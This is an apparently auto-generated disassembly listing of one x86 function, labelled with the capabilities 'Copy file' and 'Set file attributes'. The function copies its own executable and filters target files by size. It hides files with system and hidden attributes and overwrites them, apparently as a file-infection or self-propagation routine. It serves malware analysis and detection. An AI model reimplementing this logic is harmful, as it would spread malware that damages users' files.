Function at 0x405867
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push ebx
push esi
push edi
lea ecx, [ebp - 0x1c]
call fcn.0040174b
mov edi, dword [ebp + 8]
xor ebx, ebx
push edi
mov dword [ebp - 0xc], ebx
call fcn.00404819
test eax, eax
pop ecx
jne 0x405afc
push edi
call fcn.00405167
test eax, eax
pop ecx
jne 0x405afc
mov esi, 0x410cfb
push ebx
push esi
call fcn.004034a2
mov dword [ebp - 4], eax
lea eax, [ebp - 0x548]
push ebx
push eax
push ebx
push ebx
push edi
call fcn.004078ab
add esp, 0x1c
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jle 0x4058fc
push dword [ebp + 8]
push esi
call fcn.00403472
cmp byte [eax], bl
pop ecx
pop ecx
je 0x4058f1
push eax
lea eax, [ebp - 0x548]
push eax
call fcn.00403c7c
pop ecx
test eax, eax
pop ecx
jne 0x405afc
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jl 0x4058cb
lea eax, [ebp - 0x138]
push eax
call fcn.00403e8b
lea eax, [ebp - 0x444]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x138]
push ebx
push eax
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x405afc
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x138]
push 0x20
push eax
call esi
push 0x15000
lea eax, [ebp - 0x138]
push edi
push eax
call fcn.00404e0e
add esp, 0xc
test eax, eax
je 0x405aef
lea eax, [ebp - 8]
push ebx
push eax
push edi
lea ecx, [ebp - 0x1c]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x405aef
cmp dword [ebp - 8], 0x15000
jbe 0x405ae7
cmp dword [ebp - 8], 0x300000
jae 0x405ae7
lea eax, [ebp - 0x444]
push ebx
push eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x23c]
push eax
push edi
call fcn.004078ab
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.00407750
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.00407750
lea eax, [ebp - 0x23c]
push 0x40f0ac
push eax
call fcn.00407750
push 4
push 3
lea eax, [ebp - 0x340]
push 3
push eax
call fcn.00403723
movsx eax, byte [ebp - 0x340]
push eax
call fcn.00407abe
add esp, 0x40
mov byte [ebp - 0x340], al
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.00407750
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.00407451
add esp, 0x14
cmp eax, ebx
mov dword [ebp + 8], eax
lea ecx, [ebp - 0x1c]
je 0x405aea
call fcn.00401808
push dword [ebp - 0xc]
lea eax, [ebp - 0x23c]
push dword [ebp + 8]
push eax
call fcn.00403dba
lea eax, [ebp - 0x23c]
push eax
call fcn.00405516
add esp, 0x10
lea eax, [ebp - 0x23c]
push 0x27
push eax
call esi
lea eax, [ebp - 0x34]
push eax
push edi
call fcn.0040412c
pop ecx
mov dword [ebp - 4], eax
pop ecx
push 0x20
push edi
call esi
push ebx
lea eax, [ebp - 0x138]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x138]
push eax
call fcn.00403ef9
lea eax, [ebp - 0x23c]
push eax
push 0x4100d4
call fcn.00407740
push 0x40f0c0
push edi
call fcn.004056f9
add esp, 0x14
cmp dword [ebp - 4], ebx
je 0x405ad9
lea eax, [ebp - 0x34]
push eax
push edi
call fcn.00404174
pop ecx
pop ecx
push dword [ebp + 8]
call fcn.00407bdb
pop ecx
push 1
pop eax
jmp 0x405afe
lea ecx, [ebp - 0x1c]
call fcn.00401808
lea eax, [ebp - 0x138]
push eax
call fcn.00403ef9
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret